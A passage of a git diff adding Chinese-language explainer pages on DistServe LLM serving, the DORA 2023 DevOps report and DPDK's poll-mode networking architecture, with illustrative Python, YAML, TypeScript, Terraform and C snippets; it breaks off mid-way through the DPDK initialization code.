对并行策略的联合搜索,因此论文端到端还能更高。 + +### 示例 2:M/D/1 排队 —— 为什么 Prefill 要减执行时间 + +论文用 **M/D/1 队列**说明:到达率固定时,**执行时间 D 越短,排队延迟越小**,TTFT 改善**非线性**。 + +```python +def m_d_1_ttft(execution_time_s: float, arrival_rate: float) -> float: + """平均 TTFT = D + 排队项(服务时间确定、到达 Poisson)""" + util = arrival_rate * execution_time_s + if util >= 1.0: + return float("inf") # 系统不稳定 + queue = (arrival_rate * execution_time_s**2) / (2 * (1 - util)) + return execution_time_s + queue + +D = 0.12 # 单请求 prefill 执行 120ms(已吃满 GPU) +for rps in [2, 4, 5, 5.5]: + ttft = m_d_1_ttft(D, rps) * 1000 + print(f"到达 {rps} rps → 平均 TTFT ≈ {ttft:.0f} ms") + +# 若用 2-way 张量并行把 D 降到 0.07s: +D_fast = 0.07 +print("--- 加 intra-op 并行后 ---") +for rps in [5, 6, 7]: + ttft = m_d_1_ttft(D_fast, rps) * 1000 + print(f"到达 {rps} rps → 平均 TTFT ≈ {ttft:.0f} ms") +``` + +要点:**压执行时间**(算子并行、少无谓 batching)在负载升高时比「多塞几个请求进 batch」更有效——这是 DistServe 给 prefill 实例单独选 **intra-op** 的理论支撑。 + +### 示例 3:概念性 PD 分离调度伪代码 + +```python +from collections import deque +from enum import Enum, auto + +class Stage(Enum): + PREFILL = auto() + DECODE = auto() + +class DistServeScheduler: + """教学用骨架:prefill / decode 队列与实例分离""" + + def __init__(self, prefill_engines, decode_engines): + self.prefill_engines = prefill_engines # 各持一份完整权重 + self.decode_engines = decode_engines + self.wait_prefill = deque() + self.wait_decode = deque() + + def submit(self, request_id: str, prompt_tokens: list[int]): + self.wait_prefill.append((request_id, prompt_tokens)) + + def step_prefill(self): + if not self.wait_prefill: + return + engine = self._pick_idle(self.prefill_engines) + req_id, tokens = self.wait_prefill.popleft() + # 只跑 prefill:生成首 token + KV + first_token, kv_handle = engine.run_prefill(tokens) + # 经高带宽链路把 KV 交给 decode 池(放置算法决定目标机) + decode_engine = self._route_decode(kv_handle) + self.wait_decode.append((req_id, kv_handle, first_token, decode_engine)) + + def step_decode(self): + if not self.wait_decode: + return + req_id, kv, first_token, engine = self.wait_decode.popleft() + engine.attach_kv(req_id, kv, first_token) + # 之后由 decode 引擎逐步 generate;与 prefill 队列无 batch 交织 + + def _pick_idle(self, engines): + return min(engines, key=lambda e: e.queue_depth) + + def _route_decode(self, kv_handle): + # 论文 placement:选带宽最高、负载最低的 decode 实例 + return min(self.decode_engines, key=lambda e: e.expected_transfer_cost(kv_handle)) +``` + +真实 DistServe 还会在此之上做:**实例复制数、TP/PP 配置搜索、KV 传输批量化与流水线重叠**。 + +--- + +## 实践案例 + +### 案例 1:实时聊天(重 TTFT) + +用户发一句 200 token 的问题,期望 **<300ms** 看到第一个字;后续 token 只要 **<50ms** 间隔即可。 + +- Colocated:高峰时 prefill 与大量 decode 混批 → **TTFT P90 爆表**。 +- DistServe:prefill 专用 GPU + 小 batch + 可选 TP → TTFT 稳定;decode 池按 1:N 承接 KV。 + +### 案例 2:长文摘要(重 TPOT) + +输入 4k token,输出 512 token。Prefill 本身就很重,但用户更在意**整段生成速度**。 + +- 分离后 decode 池可用 **更大 batch** 换吞吐,只要 TPOT 仍低于阅读速度。 +- Prefill 侧避免无谓 multi-request batching(长序列已吃满 GPU)。 + +### 案例 3:与后续工作的关系 + +| 工作 | 与 DistServe 的关系 | +|------|---------------------| +| **vLLM + PagedAttention** | 解决 KV **怎么存**;DistServe 解决 prefill/decode **怎么摆** | +| **Mooncake (2024)** | 把 KV 当**分布式对象**调度;可视为 PD 分离 + 全局 KV 池 | +| **Nexus (2025)** | **单 GPU 内** SM 分区做 PD,避免双份权重;与 DistServe **跨 GPU** 路线互补 | +| **Chunked Prefill** | Colocated 上的缓解术;DistServe 主张**彻底拆开** | + +--- + +## 局限与代价 + +1. **双份(或多份)模型权重**:prefill 与 decode 实例各持完整副本 → **显存/内存成本上升**;适合「SLO 紧、GPU 贵」的生产场景,而非极简 demo。 +2. **跨机 KV 传输**:在弱网络或跨地域部署时,分离收益可能被通信吃掉;需要 DistServe 的**带宽感知放置**,或 Mooncake 类 KV 层。 +3. **调度复杂度**:要维护两套队列、实例比例、并行配置;运维与自动扩缩容比单体 vLLM 更难。 +4. **短 prompt / 低 QPS**:干扰不明显时,分离的固定成本可能不划算。 + +--- + +## 自测题 + +1. **TTFT** 和 **TPOT** 分别对应推理的哪个阶段?各对应什么典型硬件瓶颈? +2. 为什么「最大化 tokens/s」不等于「最大化 Goodput」? +3. 画一张图说明 colocated batching 如何同时恶化 TTFT 和 TPOT。 +4. 论文中 prefill 实例为何倾向 **小 batch + intra-op 并行**? +5. 若 2 个 prefill GPU 配 1 个 decode GPU,decode 侧 idle 较多,说明什么?应如何调比例? + +
+参考答案(先自己想) + +1. TTFT → Prefill,常 compute-bound;TPOT → Decode,常 memory-bandwidth-bound。 +2. Throughput 可牺牲尾部延迟换峰值 token 率;Goodput 要求在 SLO 达成率(如 90%)内能达到的最大请求率,直接关联成本与用户体验。 +3. 同一迭代中 prefill kernel 长、decode 短,decode 等 prefill;prefill batch 里掺 decode 也增加执行时间与资源争用。 +4. 长 prompt 单请求即可吃满 GPU;加 batch 只拉长批处理时间。intra-op 降单请求执行时间 D,按 M/D/1 显著降排队项。 +5. decode 为瓶颈或比例偏高;应增加 decode 实例、或减少 prefill 副本,使两阶段容量匹配目标流量。 + +
+ +--- + +## 延伸阅读 + +- 论文 PDF:[arXiv:2401.09670](https://arxiv.org/abs/2401.09670) / [USENIX OSDI 24](https://www.usenix.org/conference/osdi24/presentation/zhong-yinmin) +- 代码:[LLMServe/DistServe](https://github.com/LLMServe/DistServe) +- 前置:[PagedAttention 与 vLLM](./paged-attention-vllm.md)(KV 分页) +- 对照:[Nexus — 单 GPU 内 PD 分离](./nexus-prefill-decode-intra-gpu.md) +- 扩展:[Mooncake — 以 KV 为中心的分层缓存](./mooncake-kvcache-2024.md) + +--- + +## 一句话小结 + +**DistServe 把 LLM 服务从「一口锅炒到底」改成「备餐部 + 出餐部」:用 Prefill/Decode 物理分离消灭相互干扰,再按 TTFT/TPOT 双 SLO 分别调 GPU 与并行策略,最大化每张卡的 Goodput——在延迟约束比吞吐更重要的时代,这是比单纯加大 batch 更划算的杠杆。** diff --git a/src/content/docs/papers/dora-state-of-devops-2023.md b/src/content/docs/papers/dora-state-of-devops-2023.md new file mode 100644 index 000000000..131d837b0 --- /dev/null +++ b/src/content/docs/papers/dora-state-of-devops-2023.md @@ -0,0 +1,342 @@ +--- +title: DORA State of DevOps Report 2023 — 用「餐厅经营」读懂软件交付科学 +来源: https://services.google.com/fh/files/misc/2023_state_of_devops_report.pdf +日期: 2026-06-13 +分类: 其他 +子分类: 工程文化 +provenance: pipeline-v3 +--- + +## 先想成什么事 + +想象你经营一家**连锁餐厅**(这就是一家持续交付软件的公司): + +- **后厨**是开发团队:不断研发新菜、改配方、换供应商。 +- **前厅**是运维/SRE:要保证每桌菜热、上菜快、不出食品安全事故。 +- **顾客**是最终用户:他们不在乎你用了什么烤箱,只在乎「点的菜对不对、好不好吃、等多久」。 + +很多团队像只盯着后厨 KPI 的店长:今天出菜 200 份、换菜单 12 次、烤箱利用率 87%——数字很漂亮,但顾客抱怨「菜不对胃口」「等了一个小时」。**DORA 2023 报告的核心转向**就是:别只优化「出菜速度」,要问**顾客到底想吃什么**。 + +《Accelerate State of DevOps Report 2023》由 Google 旗下的 **DORA**(DevOps Research and Assessment)发布,基于 **36,000+** 名全球从业者的九年纵向调查,是软件交付领域规模最大、历时最长的实证研究之一。2023 版不再只讲「四个指标」,而是把**组织文化、用户中心、技术能力、文档、云弹性、公平分工**连成一张因果网。 + +## 这篇报告在说什么 + +| 维度 | 内容 | +|------|------| +| 标题 | Accelerate State of DevOps Report 2023 | +| 发布方 | DORA / Google Cloud | +| PDF | [2023 报告全文](https://services.google.com/fh/files/misc/2023_state_of_devops_report.pdf) | +| 官网 | [dora.dev/research/2023](https://dora.dev/research/2023/dora-report/) | +| 数据规模 | 9 年、36,000+ 受访者 | +| 2023 主题 | 文化奠基、用户中心、技术能力 × 文档放大、云要「弹性」而非「搬家」 | + +报告衡量三类**结果(outcomes)**: + +1. **组织绩效(Organizational performance)** — 为客户与社区创造价值,不止于营收。 +2. **团队绩效(Team performance)** — 团队能否通过创新与协作持续交付。 +3. **员工福祉(Employee well-being)** — 倦怠、满意度、安全感。 + +以及两类**能力面(capabilities)**: + +- **软件交付绩效** — 安全、高效地变更技术系统。 +- **运营绩效** — 面向用户的可靠性、质量与体验。 + +## 为什么值得读(零基础也能建立图景) + +如果你只听过「DevOps = 开发运维合并」,这份报告会给你**可量化的改进地图**: + +- 哪些做法真的关联更高绩效(不是博客里的玄学)。 +- 为什么 2023 年**用户中心**压过「功能工厂」思维。 +- 为什么「上了云」不等于「变快了」——**基础设施弹性**才是关键。 +- 为什么**文档**像阳光:有它时,CI、主干开发、SRE 实践的效力会成倍放大。 + +它和 [[chaos-engineering-netflix-2016]](生产环境受控实验)、[[spanner]](多副本一致性)、平台工程内部开发者体验等话题同属「大规模软件如何可靠交付」谱系;DORA 更偏**组织与流程的统计学证据**,而非单点技术方案。 + +## 核心概念 + +### 1. DORA 四个核心指标(仍有效,但 2023 更强调「为什么快」) + +软件交付领域最常用的四个度量,像餐厅的**运营仪表盘**: + +| 指标 | 英文 | 直觉含义 | 餐厅类比 | +|------|------|----------|----------| +| 部署频率 | Deployment frequency | 多久向生产交付一次变更 | 新菜/调价多久上一次桌 | +| 变更前置时间 | Lead time for changes | 从提交到上线的耗时 | 从定菜谱到顾客能点到 | +| 变更失败率 | Change failure rate | 部署导致生产故障的比例 | 新菜退菜/投诉比例 | +| 恢复时间 | Time to restore service | 事故后恢复服务的时间 | 停炉后多久恢复供餐 | + +DORA 把团队分为 **Elite / High / Medium / Low** 四档(每年门槛在变——九年前的高绩效今天可能只是及格线)。**重点**:指标是学习的起点,不是 KPI 鞭子;报告反复强调 **continuous improvement(持续改进)** 文化。 + +### 2. Westrum 组织文化(文化的可测量模型) + +Ron Westrum 将组织文化分为三类,DORA 用问卷把文化「算出来」: + +| 类型 | 特征 | 与绩效关系 | +|------|------|------------| +| **Pathological(病态)** | 信息 hoarding、部门墙、责备文化 | 技术能力难以落地 | +| **Bureaucratic(官僚)** | 规则优先、层级审批、慢决策 | 中等 | +| **Generative(生成式)** | 信任、协作、失败可讨论、使命共享 | **组织绩效高约 30%** | + +生成式文化像餐厅里**前厅后厨同桌开晨会**:昨天哪道菜退得多,一起查是配方、火候还是点单系统问题,而不是互相甩锅。 + +### 3. 2023 团队特质分类(Trait-based archetypes) + +报告用数据把团队聚成四类「气质」,便于对照自省: + +- **User-centric(用户中心)** — 理解用户需求、收集反馈、用体验指标驱动优先级。 +- **Feature-driven(功能驱动)** — 以产出功能数量、路线图打卡为主。 +- **Developing(发展中)** — 能力尚在建设,交付与运营都不突出。 +- **Balanced(均衡)** — 交付、运营、用户关注较平衡。 + +**用户中心团队**组织绩效平均高约 **40%**,工作满意度高约 **20%**。报告结论:光快不够,要快在**对的地方**。 + +### 4. 技术能力 × 文档的「放大效应」 + +2023 年最「反直觉」的发现之一:**高质量文档**让技术实践更有效。 + +- 有高质量文档时,**SRE 实践**对组织绩效的估计影响约为无文档时的 **1.4 倍**。 +- **主干开发(trunk-based development)** + 高质量文档,对组织绩效的影响可达 **12.8 倍**(相对低文档场景)。 +- 文档本身关联约 **25%** 更高的团队绩效。 + +比喻:CI/CD 是引擎,文档是**润滑剂和线路图**——没有手册,引擎转得再快也会装错零件。 + +### 5. 云与「基础设施弹性」(Infrastructure flexibility) + +- 使用**公有云**与约 **22%** 更高的基础设施弹性相关。 +- **弹性基础设施**与约 **30%** 更高的组织绩效相关。 +- 单纯 **lift-and-shift(把机房搬到云上不改架构)** 可能有害:你保留了数据中心的流程枷锁,却失去了熟悉环境的运维直觉。 + +弹性意味着:按需扩缩、托管服务、基础设施即代码、多区域、无状态设计——**用云的原生能力**,不是给旧服务器换地址。 + +### 6. 快速代码评审(Fast code reviews) + +代码评审速度是 2023 年软件交付绩效的强预测因子:**更快评审**关联约 **50%** 更高的软件交付绩效。慢评审像后厨每道菜都要店长签字——质量可能略好,但前置时间和团队流动性的代价巨大。 + +### 7. 公平分工与倦怠 + +- **公平分配工作**可降低倦怠,但对自认「代表性不足群体」倦怠改善不显著。 +- 代表性不足群体更常承担**重复性、低可见度**任务,倦怠更高。 +- **工作安全感**与约 **61%** 的倦怠下降相关。 + +### 8. AI 开发工具(2023 年的早期信号) + +超过半数受访者已在部分技术任务中使用 AI,对**员工福祉**有温和正向影响,但对交付绩效的预测力在 2023 年仍**弱于**文化、用户中心、文档等成熟能力。报告态度:有热情,但**广泛改变交付方式尚需时间**——这与「AI 主要加速写代码,而交付瓶颈常在协作、需求、评审」的观察一致。 + +## 代码示例一:用 GitHub Actions 实践持续集成(CI) + +DORA 将 **continuous integration** 列为关键技术能力:每次提交都触发自动化构建与测试,尽早发现集成问题。 + +```yaml +# .github/workflows/dora-ci.yml +# 对应 DORA 能力:Continuous integration + Trunk-based development +name: DORA-style CI + +on: + push: + branches: [main] # 主干开发:变更频繁合入 main + pull_request: + branches: [main] + +concurrency: + group: ci-${{ github.ref }} + cancel-in-progress: true # 新提交取消旧流水线,缩短反馈环 + +jobs: + verify: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + - name: Install & test + run: | + npm ci + npm run lint + npm test -- --coverage + + - name: Build artifact + run: npm run build + + # 快速反馈 ≈ DORA「变更前置时间」的前半段 + - name: Publish test summary + if: always() + run: | + echo "## CI finished at $(date -u +%Y-%m-%dT%H:%M:%SZ)" >> $GITHUB_STEP_SUMMARY + echo "Deployment frequency improves when main is always green." >> $GITHUB_STEP_SUMMARY +``` + +这段流水线体现:**小批量、高频次、自动化验证**——精英团队往往每天多次部署,因为单次变更小、验证快、回滚容易。 + +## 代码示例二:从部署日志估算 DORA 四指标 + +下面用 TypeScript 演示如何从**部署事件表**粗算四个核心指标(教学用简化版;生产应接 CD 系统、事故工单、变更关联): + +```typescript +// scripts/dora-metrics.ts — 从部署/事故事件估算 DORA 四指标 +type DeployEvent = { + deployedAt: Date; + leadTimeHours: number; // commit → prod + failed: boolean; // 是否触发回滚/热修 +}; + +type Incident = { + startedAt: Date; + restoredAt: Date; +}; + +function deploymentFrequency(deploys: DeployEvent[], windowDays = 30): string { + const count = deploys.length; + const perDay = count / windowDays; + if (perDay >= 1) return `Elite-ish: ${perDay.toFixed(1)} deploys/day`; + if (perDay >= 1 / 7) return `High: ${(perDay * 7).toFixed(1)} deploys/week`; + if (perDay >= 1 / 30) return `Medium: ${(perDay * 30).toFixed(1)} deploys/month`; + return `Low: ${(perDay * 365).toFixed(0)} deploys/year`; +} + +function medianLeadTimeHours(deploys: DeployEvent[]): number { + const sorted = [...deploys].map((d) => d.leadTimeHours).sort((a, b) => a - b); + const mid = Math.floor(sorted.length / 2); + return sorted.length % 2 ? sorted[mid] : (sorted[mid - 1] + sorted[mid]) / 2; +} + +function changeFailureRate(deploys: DeployEvent[]): number { + if (!deploys.length) return 0; + return deploys.filter((d) => d.failed).length / deploys.length; +} + +function medianTimeToRestore(incidents: Incident[]): number { + const hours = incidents.map( + (i) => (i.restoredAt.getTime() - i.startedAt.getTime()) / 3_600_000 + ); + hours.sort((a, b) => a - b); + const mid = Math.floor(hours.length / 2); + return hours.length % 2 ? hours[mid] : (hours[mid - 1] + hours[mid]) / 2; +} + +// 示例数据 +const deploys: DeployEvent[] = [ + { deployedAt: new Date(), leadTimeHours: 4, failed: false }, + { deployedAt: new Date(), leadTimeHours: 2, failed: false }, + { deployedAt: new Date(), leadTimeHours: 24, failed: true }, +]; + +console.log(deploymentFrequency(deploys)); +console.log("Median lead time (h):", medianLeadTimeHours(deploys)); +console.log("Change failure rate:", (changeFailureRate(deploys) * 100).toFixed(1) + "%"); +``` + +**读数方式**:先建立基线,再对照 DORA 年度基准;更重要的是看趋势和**与业务结果的关联**——用户满意度、收入、任务完成率是否随交付改进而上升。2023 报告建议把 **CSAT、任务完成率、HEART 框架指标** 与四个交付指标并排放仪表盘,避免「忘了顾客」。 + +## 代码示例三(补充):基础设施弹性 — Terraform 片段 + +弹性基础设施常用 **IaC + 托管服务 + 自动扩缩** 表达: + +```hcl +# infra/flexible-service.tf +# DORA 2023: infrastructure flexibility(非 lift-and-shift) + +resource "google_cloud_run_v2_service" "api" { + name = "user-api" + location = var.region + + template { + scaling { + min_instance_count = 0 # 闲时缩到零,弹性计费 + max_instance_count = 100 + } + containers { + image = var.container_image + resources { + limits = { + cpu = "2" + memory = "1Gi" + } + } + } + } +} + +# 多区域 = 故障域分散,支撑「运营绩效」 +resource "google_cloud_run_v2_service" "api_dr" { + count = var.enable_multi_region ? 1 : 0 + name = "user-api-dr" + location = var.dr_region + # ... 镜像与主区域一致,由 CI 同步部署 +} +``` + +这与「把 VM 原样搬进云」相反:利用 **Cloud Run / K8s HPA / 托管数据库** 等能力,让容量与故障恢复成为代码可版本化的一部分。 + +## 2023 五大发现(速查) + +1. **文化是地基** — 生成式文化 → 组织绩效约 **+30%**;安全感强 → 倦怠约 **-61%**。 +2. **以用户为中心** — 组织绩效约 **+40%**,满意度约 **+20%**;同时改善「做对的事」和「把事做对」。 +3. **文档放大技术能力** — 团队绩效约 **+25%**;SRE、主干开发等实践在好文档下效力显著放大。 +4. **云要弹性** — 公有云提升弹性;弹性基础设施 → 组织绩效约 **+30%**;忌 lift-and-shift。 +5. **公平分工与快速评审** — 公平分工降倦怠;快速代码评审 → 软件交付绩效约 **+50%**。 + +## 团队如何落地(零基础行动清单) + +### 第一步:照镜子,别只追 Elite 标签 + +用 [DORA Quick Check](https://dora.dev/quickcheck/) 或内部问卷评估四指标与文化。把结果当作**体检报告**,不是排名榜。 + +### 第二步:建立用户反馈闭环 + +- 产品/工程同看:**任务完成率、CSAT、支持工单主题**。 +- 低延迟渠道:应用内反馈、每周用户访谈、发布说明下的「这解决你的问题吗?」。 +- 优先级会议先问:**「哪条用户证据支持我们做这个?」** + +### 第三步:投资「可发现的」文档 + +- README:如何本地跑、如何部署、如何 oncall。 +- ADR(架构决策记录):为什么选 A 不选 B。 +- Runbook:告警时第一步做什么。 +- 把文档质量纳入 PR 检查(见示例一 CI 可扩展 `docs/` 链接检查)。 + +### 第四步:缩短评审与集成分支寿命 + +- 小 PR(< 400 行)、24 小时内首次评审。 +- 主干开发 + 功能开关,减少长期 feature branch。 +- 与 [[chaos-engineering-netflix-2016]] 互补:快交付 + 生产实验验证韧性。 + +### 第五步:检查云是否「真弹性」 + +审计清单:能否自动扩缩?数据库是否托管?配置是否 IaC?多区域是否演练过?若答案多为否,可能仍在 lift-and-shift 舒适区。 + +## 常见误区 + +| 误区 | 报告怎么说 | +|------|------------| +| DevOps = 买一堆工具 | 文化与用户中心预测力常强于单点工具 | +| 功能越多越好 | Feature-driven 不如 User-centric 关联组织绩效 | +| 上云就更快 | 无弹性的云迁移可能更差 | +| 文档以后补 | 文档是技术能力的「倍增器」,不是附录 | +| 四个指标达标就毕业 | 持续改进;九年 Elite 门槛一直在升 | +| AI 会自动解决交付 | 2023 年 AI 对绩效影响仍早期,先夯实文化与流程 | + +## 与其他知识的关系 + +- **SRE / 错误预算** — 运营绩效侧;DORA 证明 SRE 在好文档下对组织绩效影响更大。 +- **平台工程** — 2023 报告首次更多提及;内部开发者也是「用户」,与 User-centric 一致。 +- **精益 / 精益创业** — Build-Measure-Learn 与 DORA 用户反馈环同构。 +- **团队拓扑** — Loosely coupled teams 与 DORA 技术能力一致;见相关组织设计读物。 + +## 小结 + +DORA 2023 用大规模调查说明:**软件交付卓越不是单一技巧,而是文化、用户理解、技术实践、文档与基础设施的共同产物**。像经营餐厅——后厨效率重要,但若从不听顾客,出菜再快也是在浪费食材。 + +对你而言,读完不必背诵「40%」「12.8 倍」,而应带走三个问题: + +1. 我们上次根据**真实用户反馈**调整优先级是什么时候? +2. 新人能否仅凭文档在一天内跑通构建、测试、部署? +3. 我们的云是**弹性**的,还是**搬家**的? + +从其中一条开始实验,度量,再改进——这正是 DORA 所说的 **get better at getting better**。 + +## 延伸阅读 + +- [DORA 2023 报告 PDF](https://services.google.com/fh/files/misc/2023_state_of_devops_report.pdf) +- [DORA Capabilities 目录](https://dora.dev/capabilities/) +- [User-centric focus 能力页](https://dora.dev/capabilities/user-centric-focus/) +- Nicole Forsgren, Jez Humble, Gene Kim — *Accelerate*(DORA 四指标原书) +- Ron Westrum — 组织文化类型学(生成式文化理论基础) diff --git a/src/content/docs/papers/dpdk-poll-mode-driver.md b/src/content/docs/papers/dpdk-poll-mode-driver.md new file mode 100644 index 000000000..e172e6443 --- /dev/null +++ b/src/content/docs/papers/dpdk-poll-mode-driver.md @@ -0,0 +1,321 @@ +--- +title: Data Plane Development Kit (DPDK) Architecture — 用户态线速网络栈零基础导读 +来源: https://www.dpdk.org/wp-content/uploads/sites/35/2014/09/DPDK-SFSummit2014-HighPerformanceNetworkingLeveragingDPDK-Brief.pdf +日期: 2026-06-13 +子分类: 内核与虚拟化 +分类: 操作系统 +provenance: pipeline-v3 +--- + +## 先想成什么事 + +想象一家**超繁忙的快递分拣中心**: + +- **传统内核网络栈**像「电话通知制」:每来一车货,分拣员放下手头工作接电话、跑去门口接货、登记入库、再回来继续——**中断(interrupt)** 打断了流水线,而且登记处(内核协议栈)要经过多层审批,小包多时 CPU 全耗在「接电话」上。 +- **DPDK** 的做法是:在分拣中心门口派一个**专职盯传送带的人**(poll mode),**不接电话、不等人叫**,而是每隔几微秒抬头看一眼「皮带上有没有新包裹」——有就一把抓一批(burst),没有就继续看。为了不被操作系统打扰,这个人还**独占一个工位**(绑核)、用**超大号托盘**搬货(hugepage)、和隔壁工位用**无锁传送带**递包裹(lockless ring)。 + +Intel 在 2014 年 SF Summit 的 briefing《High Performance Networking Leveraging DPDK》里概括了这套思路的起源:数据中心流量爆炸,**10G/40G 线速**要求每包 CPU 预算降到几十纳秒级,而传统「中断 + 内核拷贝 + 系统调用」的路径在百万 PPS 下根本撑不住。DPDK(Data Plane Development Kit)把**网卡驱动、内存管理、无锁队列**整套搬到**用户态**,用 **Poll Mode Driver(PMD)** 轮询收发包,成为 NFV、5G UPF、云网关、负载均衡器的工业标准底座。 + +> 定位澄清:DPDK **不是**一个完整的 TCP/IP 协议栈,而是**数据面基础设施**——你仍然可以叠 F-Stack、VPP、OVS-DPDK 或自研 L3/L4 逻辑在它上面。 + +## 为什么需要 DPDK + +### 内核网络栈的瓶颈 + +| 问题 | 具体表现 | +|------|----------| +| 中断开销 | 高频小包下,CPU 时间耗在中断上下文切换,而非业务逻辑 | +| 内核拷贝 | sk_buff 分配、协议栈层层拷贝,cache miss 严重 | +| 锁竞争 | 多核共享 socket、qdisc、路由表,锁与 cache line 乒乓 | +| 调度不确定性 | 线程被内核抢占,延迟尾(p99/p999)拉长 | +| 每包 syscall | `read`/`send` 路径无法批量摊薄固定成本 | + +### DPDK 的取舍 + +| 得到 | 付出 | +|------|------| +| 线速收发包(单核百万 PPS 级) | 需**独占 CPU 核心**做 poll,空载也占满一核 | +| 用户态直接操作 DMA 描述符 | 绕过内核网络栈,**失去** socket API、iptables 等现成设施 | +| 预分配内存池、零拷贝倾向 | 启动时吃满 hugepage,内存占用「看起来很大」 | +| 可预测的微秒级延迟 | 应用要自己处理多核模型、NUMA、丢包策略 | + +Briefing 强调:DPDK 的目标不是替代 Linux,而是让**数据面**(forwarding、分类、封装)从**控制面**(路由协议、管理面 CLI)里拆出来——这与后来的 Arrakis、IX、VPP 控制/数据分离一脉相承。 + +## 整体架构 + +```text +┌─────────────────────────────────────────────────────────────┐ +│ 你的应用 (l2fwd / VPP / OVS / 自研) │ +├─────────────────────────────────────────────────────────────┤ +│ librte_ethdev (PMD API) │ librte_mbuf │ librte_ring │ +│ librte_mempool │ librte_hash │ librte_lpm ... │ +├─────────────────────────────────────────────────────────────┤ +│ EAL — Environment Abstraction Layer │ +│ 绑核 / hugepage / PCI 映射(UIO/VFIO) / 日志 / 定时器 / IPC │ +├─────────────────────────────────────────────────────────────┤ +│ Poll Mode Drivers (ixgbe / i40e / mlx5 / virtio ...) │ +├─────────────────────────────────────────────────────────────┤ +│ 网卡硬件 (RX/TX rings, DMA, RSS, checksum offload) │ +└─────────────────────────────────────────────────────────────┘ + ▲ 绕过传统内核网络栈(数据面在用户态) + │ 控制面仍可走 Linux(配置 IP、路由、BGP…) +``` + +## 核心概念 + +### 1. EAL — 环境抽象层 + +EAL 是 DPDK 的「开机固件」。应用启动时第一个调用 `rte_eal_init()`,由它完成: + +- 解析命令行:`-l` 绑定逻辑核、`-n` 内存通道、`--socket-mem` 按 NUMA 预分配、`--huge-dir` 指定大页挂载点; +- 通过 **VFIO/UIO** 把 PCIe 网卡 BAR 空间 **mmap** 进用户态; +- 在 **hugetlbfs** 上分配物理连续、TLB 友好的内存; +- 区分 **master lcore**(做全局初始化)与 **worker lcore**(跑数据面循环)。 + +没有 EAL,后面的 mempool、PMD、ring 都无法在「裸金属式」环境里落地。 + +### 2. PMD — Poll Mode Driver + +PMD 是 DPDK 的名片:**不用 RX 中断**(链路状态变化中断除外),由应用在循环里调用 `rte_eth_rx_burst()` / `rte_eth_tx_burst()` **批量**拉取或提交报文。 + +关键设计原则(官方 PMD 架构文档与 2014 briefing 一致): + +- **Burst-oriented**:一次处理 32/64 个包,摊薄函数调用与 PCIe 门铃开销; +- **零拷贝倾向**:DMA 直接写入 `rte_mbuf` 数据区,驱动填好 descriptor 元数据; +- **Per-queue 独占**:典型部署「一核一网卡队列」,避免跨核抢锁; +- **硬件 offload**:RSS、checksum、TSO、VLAN strip 的结果写进 `rte_mbuf` 元数据字段。 + +两种主流编程模型: + +| 模型 | 行为 | 适用 | +|------|------|------| +| **Run-to-completion** | 同一核上收包 → 处理 → 发包 | 简单转发、L2/L3 网关 | +| **Pipeline** | RX 核把 `rte_mbuf` 指针经 `rte_ring` 扔给 worker 核 | 复杂处理、多阶段流水线 | + +### 3. rte_mempool 与 rte_mbuf + +**mempool** 是预分配的**对象池**(通常是 `rte_mbuf`),启动时一次性从 hugepage 切好,运行时 **O(1)** 借还,避免 `malloc` 与内核伙伴系统。 + +**mbuf**(`struct rte_mbuf`)是 DPDK 的「快递单 + 包裹」: + +- **metadata**:包长、端口、RSS hash、VLAN、offload 标志、引用计数; +- **data buffer**:实际帧字节,带 `RTE_PKTMBUF_HEADROOM` 便于封装头部; +- **chaining**:大包可分多个 segment 链表; +- **indirect mbuf**:克隆/广播时共享同一块数据区,避免复制。 + +mbuf 从哪个 pool 分配,释放时就回哪个 pool——**无 GC**,路径确定性极高。 + +### 4. rte_ring — 核间无锁 FIFO + +`rte_ring` 是实现 pipeline 的「传送带」:**多生产者 / 多消费者** 的无锁环形队列(基于 CAS 更新 head/tail)。相比内核 pipe 或 mutex 队列,它针对 **bulk enqueue/dequeue** 优化,且要求运行在 **DPDK 绑定的非抢占 lcore** 上(否则 preempt 会破坏无锁假设)。 + +mempool 内部也用 ring 管理空闲对象;应用层则用它做 **producer → consumer** 报文传递。 + +### 5. NUMA 与本地内存 + +Briefing 与后续文档反复强调:**网卡、内存、处理核应在同一 NUMA node**。跨 node 访问远程内存会让 PCIe 吞吐白白损失。实践规则: + +- 在 `socket_id = rte_eth_dev_socket_id(port)` 对应的 node 上 `rte_pktmbuf_pool_create()`; +- RX/TX descriptor ring 里的 mbuf 全部来自该本地 pool; +- `rte_eth_dev_configure()` 的 `rx_queues` / `tx_queues` 与 lcore 一一绑定。 + +### 6. Hugepage + +默认 4KiB 页:百万级 mbuf 会让 TLB **疯狂 miss**。DPDK 默认走 **2MB / 1GB hugepage**,把 TLB 压力降一个数量级。部署前通常需要: + +```bash +# Linux 示例:预留 1024 个 2MB 大页(约 2GB) +echo 1024 | sudo tee /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages +sudo mkdir -p /mnt/huge +sudo mount -t hugetlbfs nodev /mnt/huge +``` + +应用通过 EAL 参数 `--socket-mem=2048` 等在这些大页上建 mempool。 + +## 代码示例一:最小 EAL 初始化 + 端口配置骨架 + +下面片段展示典型 DPDK 应用的**启动序列**(改编自官方 `basicfwd` / `l2fwd` 样例结构,省略错误处理细节): + +```c +#include +#include +#include + +#define RX_RING_SIZE 1024 +#define TX_RING_SIZE 1024 +#define NUM_MBUFS 8191 +#define MBUF_CACHE_SIZE 250 +#define BURST_SIZE 32 + +static const struct rte_eth_conf port_conf_default = { + .rxmode = { .max_lro_pkt_len = RTE_ETHER_MAX_LEN }, +}; + +int main(int argc, char **argv) +{ + struct rte_mempool *mbuf_pool; + uint16_t portid; + + /* 1. EAL:绑核、hugepage、PCI 探测 */ + int ret = rte_eal_init(argc, argv); + if (ret < 0) + rte_exit(EXIT_FAILURE, "EAL init failed\n"); + + argc -= ret; + argv += ret; + + /* 2. 检查可用以太网端口 */ + if (rte_eth_dev_count_avail() == 0) + rte_exit(EXIT_FAILURE, "No Ethernet ports\n"); + + /* 3. 在网卡所在 NUMA node 创建 mbuf 池 */ + mbuf_pool = rte_pktmbuf_pool_create( + "MBUF_POOL", NUM_MBUFS, MBUF_CACHE_SIZE, 0, + RTE_MBUF_DEFAULT_BUF_SIZE, rte_socket_id()); + + /* 4. 配置每个端口:1 RXQ + 1 TXQ,挂接 mbuf pool */ + RTE_ETH_FOREACH_DEV(portid) { + struct rte_eth_rxconf rxq_conf = + dev_info.default_rxconf; + struct rte_eth_txconf txq_conf = + dev_info.default_txconf; + + ret = rte_eth_dev_configure(portid, 1, 1, &port_conf_default); + ret = 